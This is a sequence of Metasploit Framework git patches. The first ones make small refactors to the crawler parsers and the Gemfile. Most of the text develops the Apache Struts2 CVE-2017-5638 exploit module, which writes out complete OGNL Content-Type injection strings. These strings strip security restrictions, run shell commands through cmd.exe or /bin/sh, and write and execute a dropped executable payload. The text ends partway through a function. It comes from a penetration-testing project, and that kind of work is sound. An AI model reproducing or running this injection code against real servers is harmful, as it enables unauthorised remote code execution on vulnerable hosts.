modules/exploits/windows/misc/websphere_java_deserialize.rb rename to modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb From e8257122b36a7c6832e22907bd936a4f2bf92b50 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:18:39 +0100 Subject: [PATCH 371/426] Creation of a sub-module for modules/auxiliary/crawler/msfcrawler Catching links in comments --- data/msfcrawler/comments.rb | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 data/msfcrawler/comments.rb diff --git a/data/msfcrawler/comments.rb b/data/msfcrawler/comments.rb new file mode 100644 index 0000000000..e632eed46b --- /dev/null +++ b/data/msfcrawler/comments.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'pathname' +require 'nokogiri' +require 'uri' + +class CrawlerComments < BaseParser + + def parse(request,result) + return unless result['Content-Type'].include?('text/html') + + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath('//comment()').each do |comment| + # searching for href + hr = /href\s*=\s*"([^"]*)"/.match(comment) + if hr + begin + hreq = urltohash('GET', hr[1], request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + # ignored + end + end + + end + + end +end From c9a519072645389f5eba71121b4c196f46893c04 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:32:56 +0100 Subject: [PATCH 372/426] Patching "undefined method empty?" errors + "encoding error" --- data/msfcrawler/forms.rb | 35 +++++++++++------------------------ 1 file changed, 11 insertions(+), 24 deletions(-) mode change 100755 => 100644 data/msfcrawler/forms.rb diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb old mode 100755 new mode 100644 index b0c48e1472..202b2d00e7 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -19,28 +10,21 @@ require 'uri' class CrawlerForms < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end - - hr = '' - m = '' + return unless result['Content-Type'].include?('text/html') doc = Nokogiri::HTML(result.body.to_s) doc.css('form').each do |f| hr = f['action'] - fname = f['name'] - fname = "NONE" if fname.empty? + # Removed because unused + #fname = f['name'] + #fname = 'NONE' if fname.empty? - m = f['method'].empty? ? 'GET' : f['method'].upcase - - htmlform = Nokogiri::HTML(f.inner_html) + m = (f['method'].empty? ? 'GET' : f['method'].upcase) arrdata = [] - htmlform.css('input').each do |p| + f.css('input').each do |p| arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" end @@ -51,7 +35,10 @@ class CrawlerForms < BaseParser hreq['ctype'] = 'application/x-www-form-urlencoded' insertnewpath(hreq) rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" end + end end end From 4628dfe16b134edf76574cf9569fb510e62e9ba4 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:36:21 +0100 Subject: [PATCH 373/426] Remove old banner + rubygems requirements --- data/msfcrawler/basic.rb | 18 +++--------------- data/msfcrawler/frames.rb | 10 +++------- data/msfcrawler/image.rb | 11 +++-------- data/msfcrawler/link.rb | 11 +++-------- data/msfcrawler/objects.rb | 14 +++----------- data/msfcrawler/scripts.rb | 16 +++------------- 6 files changed, 18 insertions(+), 62 deletions(-) mode change 100755 => 100644 data/msfcrawler/basic.rb mode change 100755 => 100644 data/msfcrawler/frames.rb mode change 100755 => 100644 data/msfcrawler/image.rb mode change 100755 => 100644 data/msfcrawler/link.rb mode change 100755 => 100644 data/msfcrawler/objects.rb mode change 100755 => 100644 data/msfcrawler/scripts.rb diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb old mode 100755 new mode 100644 index 759e0459c6..30199410a1 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -19,10 +10,7 @@ require 'uri' class CrawlerSimple < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') # doc = Hpricot(result.body.to_s) doc = Nokogiri::HTML(result.body.to_s) diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb old mode 100755 new mode 100644 index 5edfaec16f..5e7c4d31e6 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -1,13 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser hreq = urltohash('GET', ir, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb old mode 100755 new mode 100644 index 5e5d643637..8536a6c4ea --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -1,14 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# $Revision: 9212 $ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -27,6 +21,7 @@ class CrawlerImage < BaseParser hreq = urltohash('GET', im, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb old mode 100755 new mode 100644 index 9cb7794ef0..d3ccf1242a --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -1,14 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# $Revision: 9212 $ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -26,6 +20,7 @@ class CrawlerLink < BaseParser hreq = urltohash('GET', hr, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb old mode 100755 new mode 100644 index fe69846cb1..44e4bc9ad0 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb old mode 100755 new mode 100644 index a28a0a0470..4acfcd5d72 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser def parse(request,result) return unless result['Content-Type'].include? "text/html" - hr = '' - m = '' doc = Nokogiri::HTML(result.body.to_s) doc.xpath("//script").each do |obj| s = obj['src'] @@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end From 665adec29836abefc9e190eb11b9f007a9d9f3c9 Mon Sep 17 00:00:00 2001 From: Jon P Date: Mon, 13 Mar 2017 17:37:47 +0100 Subject: [PATCH 374/426] Patching storedb function (adding host/port/ssl for correct report_web_page) --- modules/auxiliary/crawler/msfcrawler.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 991f98e23d..3d4a0341e5 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary def storedb(hashreq,response,dbpath) + # Added host/port/ssl for report_web_page support info = { :web_site => @current_site, :path => hashreq['uri'], :query => hashreq['query'], - :data => hashreq['data'], - :code => response['code'], - :body => response['body'], - :headers => response['headers'] + :host => hashreq['rhost'], + :port => hashreq['rport'], + :ssl => !hashreq['ssl'].nil?, + :data => hashreq['data'], + :code => response.code, + :body => response.body, + :headers => response.headers } #if response['content-type'] From fe4e2306b48b627a74f4765d220d4214888cc931 Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Mon, 13 Mar 2017 22:22:24 +0530 Subject: [PATCH 375/426] Reverting one step --- modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index a6b56acccd..ef0b02f918 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -98,8 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ - 'method' => "GET", 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), + 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { 'Loginuser' => 'supervisor', From e6baaf59cf0677e050a7424d9e46a0aa57814c8d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 13 Mar 2017 12:20:58 -0500 Subject: [PATCH 376/426] temporarily fix bundles on aarch64 platforms --- Gemfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index 1b4e690e78..59515dc0b0 100755 --- a/Gemfile +++ b/Gemfile @@ -21,7 +21,7 @@ group :development do # module documentation gem 'octokit', '~> 4.0' # session aggregator, native builds have issues on arm platforms for now - gem 'metasploit-aggregator' if !RUBY_PLATFORM.include?('arm') + gem 'metasploit-aggregator' if !RUBY_PLATFORM =~ /arm|aarch64/ end group :development, :test do From 2053b77b01f15dedb43849724d42a35ac257270e Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 13 Mar 2017 18:37:50 -0500 Subject: [PATCH 377/426] ARCH_CMD works --- .../multi/http/struts2_content_type_ognl.rb | 223 ++++++++++++------ 1 file changed, 154 insertions(+), 69 deletions(-) diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb index 622896efa2..d5a78eb641 100644 --- a/modules/exploits/multi/http/struts2_content_type_ognl.rb +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -18,93 +18,50 @@ class MetasploitModule < Msf::Exploit::Remote version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. }, - 'Author' => [ 'Nixawk' ], + 'Author' => [ + 'Nike.Zheng', # PoC + 'Nixawk', # Metasploit module + 'Chorder', # Metasploit module + 'egypt', # combining the above + ], 'References' => [ ['CVE', '2017-5638'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] ], - 'Platform' => %w{ unix win }, 'Privileged' => true, - 'Targets' => + 'Targets' => [ [ - ['Apache Struts2 / unix', {} ], - ['Apache Struts2 / win', {} ] + 'Universal', { + 'Platform' => %w{ unix windows linux }, + 'Arch' => [ ARCH_CMD, ARCH_JAVA ], + }, ], + ], 'DisclosureDate' => 'Mar 07 2017', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), - OptString.new('CMD', [true, 'The command to be executed in remote server', 'dir']) ] ) - end - - def print_status(msg='') - super("#{peer} - #{msg}") - end - - def send_http_request(content_type) - uri = normalize_uri(datastore["TARGETURI"]) - resp = send_request_cgi( - 'uri' => uri, - 'version' => '1.1', - 'method' => 'GET', - 'headers' => { - 'Content-Type': content_type - } - ) - - if resp && resp.code == 404 - fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') - end - resp - end - - def http_send_command(cmd) - content_type = "%{(#_='multipart/form-data')." - content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - content_type << "(#_memberAccess?" - content_type << "(#_memberAccess=#dm):" - content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - content_type << "(#ognlUtil.getExcludedPackageNames().clear())." - content_type << "(#ognlUtil.getExcludedClasses().clear())." - content_type << "(#context.setMemberAccess(#dm))))." - content_type << "(#cmd='#{cmd}')." - content_type << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - content_type << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - content_type << "(#p=new java.lang.ProcessBuilder(#cmds))." - content_type << "(#p.redirectErrorStream(true))." - content_type << "(#process=#p.start())." - content_type << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - content_type << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - content_type << "(#ros.flush())}" - send_http_request(content_type) + register_advanced_options( + [ + OptString.new('HTTP::Method', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + ] + ) end def check var_a = rand_text_alpha_lower(4) - content_type = "" - content_type << %q|%{| - content_type << %q|(#_='multipart/form-data').| - content_type << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).| - content_type << %q|(#_memberAccess?| - content_type << %q|(#_memberAccess=#dm):| - content_type << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).| - content_type << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).| - content_type << %q|(#ognlUtil.getExcludedPackageNames().clear()).| - content_type << %q|(#ognlUtil.getExcludedClasses().clear()).| - content_type << %q|(#context.setMemberAccess(#dm)))).| - content_type << %q|(#os=@java.lang.System@getProperty('os.name')).| - content_type << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| - content_type << %q|}| + ognl = "" + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| + ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| begin - resp = send_http_request(content_type) + resp = send_http_request(ognl) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end @@ -118,11 +75,139 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + case payload.arch.first + when ARCH_JAVA + datastore['LHOST'] = nil + resp = send_payload(payload.encoded_jar) + when ARCH_CMD + resp = execute_command(payload.encoded) end - resp = http_send_command(datastore['cmd']) - print_status("Command output: #{resp.body}") + #require'pp' + #pp resp.headers if resp end + + def send_http_request(ognl, method: 'LOLWUT', stuff: '') + uri = normalize_uri(datastore["TARGETURI"]) + content_type = "%{(#_='multipart/form-data')." + content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + content_type << "(#_memberAccess?" + content_type << "(#_memberAccess=#dm):" + content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + content_type << "(#ognlUtil.getExcludedPackageNames().clear())." + content_type << "(#ognlUtil.getExcludedClasses().clear())." + content_type << "(#context.setMemberAccess(#dm))))." + content_type << ognl + content_type << "}" + + headers = { 'Content-Type' => content_type } + if stuff + headers['stuff'] = stuff + end + + #puts content_type.gsub(").", ").\n") + #puts + #puts content_type.length + #puts + + resp = send_request_cgi( + 'uri' => uri, + 'method' => method, + 'headers' => headers + ) + + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def execute_command(cmd) + ognl = '' + ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + ognl << %q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).| + ognl << %q|(#r.addHeader('decoded',#cmd)).| + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| + ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| + ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| + ognl << "(#p.redirectErrorStream(true))." + ognl << "(#process=#p.start())." + + ognl << %q|(#r.addHeader('end','end'))| + + send_http_request(ognl, stuff: cmd) + end + + def send_payload(jar) + ognl = "" + ognl << %q|(#stuff=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).| + ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).| + ognl << %q|(#f=@java.io.File@createTempFile('metasploit','.jar')).| + ognl << %q|(#f.deleteOnExit()).| + ognl << %q|(#fos=new java.io.FileOutputStream(#f)).| + ognl << %q|(#fos.write(#d)).| + ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').| + + ognl << %q|(#context[#r].addHeader('stuff',#d[0])).| + ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).| + ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).| + ognl << %q|(#p.start()).| + + ognl << %q|(#context[#r].addHeader('end','end'))| + send_http_request(ognl, stuff: [jar.pack].pack("m").delete("\n")) + end + end + +=begin +Doesn't work: + + ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| + ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| + ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'run',true).get(0)).| + ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).| + ognl << %q|(#m.invoke(null,null)).| + + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed + #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 + + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed + #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 + +=end From 53c9caa0137dc5f54a805fea50f563bf23945eba Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 13 Mar 2017 20:10:02 -0500 Subject: [PATCH 378/426] Allow native payloads --- .../multi/http/struts2_content_type_ognl.rb | 88 +++++++++++-------- 1 file changed, 51 insertions(+), 37 deletions(-) diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb index d5a78eb641..9dc944c302 100644 --- a/modules/exploits/multi/http/struts2_content_type_ognl.rb +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -9,14 +9,19 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution', + 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', 'Description' => %q{ This module exploits a remote code execution vunlerability in Apache Struts - version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed + version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. + + Native payloads will be converted to executables and dropped in the + server's temp dir. If this fails, try a cmd/* payload, which won't + have to write to the disk. }, 'Author' => [ 'Nike.Zheng', # PoC @@ -33,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Universal', { 'Platform' => %w{ unix windows linux }, - 'Arch' => [ ARCH_CMD, ARCH_JAVA ], + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], }, ], ], @@ -48,9 +53,11 @@ class MetasploitModule < Msf::Exploit::Remote ) register_advanced_options( [ - OptString.new('HTTP::Method', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) ] ) + + @data_header = "X-#{rand_text_alpha(4)}" end def check @@ -61,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| begin - resp = send_http_request(ognl) + resp = send_struts_request(ognl) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end @@ -76,18 +83,20 @@ class MetasploitModule < Msf::Exploit::Remote def exploit case payload.arch.first - when ARCH_JAVA - datastore['LHOST'] = nil - resp = send_payload(payload.encoded_jar) + #when ARCH_JAVA + # datastore['LHOST'] = nil + # resp = send_payload(payload.encoded_jar) when ARCH_CMD resp = execute_command(payload.encoded) + else + resp = send_payload(generate_payload_exe) end - #require'pp' - #pp resp.headers if resp + require'pp' + pp resp.headers if resp end - def send_http_request(ognl, method: 'LOLWUT', stuff: '') + def send_struts_request(ognl, extra_header: '') uri = normalize_uri(datastore["TARGETURI"]) content_type = "%{(#_='multipart/form-data')." content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." @@ -102,18 +111,16 @@ class MetasploitModule < Msf::Exploit::Remote content_type << "}" headers = { 'Content-Type' => content_type } - if stuff - headers['stuff'] = stuff + if extra_header + headers[@data_header] = extra_header end #puts content_type.gsub(").", ").\n") #puts - #puts content_type.length - #puts resp = send_request_cgi( 'uri' => uri, - 'method' => method, + 'method' => datastore['HTTPMethod'], 'headers' => headers ) @@ -125,37 +132,44 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd) ognl = '' - ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| - ognl << %q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).| - ognl << %q|(#r.addHeader('decoded',#cmd)).| + ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| + + # You can add headers to the server's response for debugging with this: + #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + #ognl << %q|(#r.addHeader('decoded',#cmd)).| + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| - ognl << "(#p.redirectErrorStream(true))." - ognl << "(#process=#p.start())." + ognl << %q|(#p.redirectErrorStream(true)).| + ognl << %q|(#process=#p.start())| - ognl << %q|(#r.addHeader('end','end'))| - - send_http_request(ognl, stuff: cmd) + send_struts_request(ognl, extra_header: cmd) end - def send_payload(jar) + def send_payload(exe) + ognl = "" - ognl << 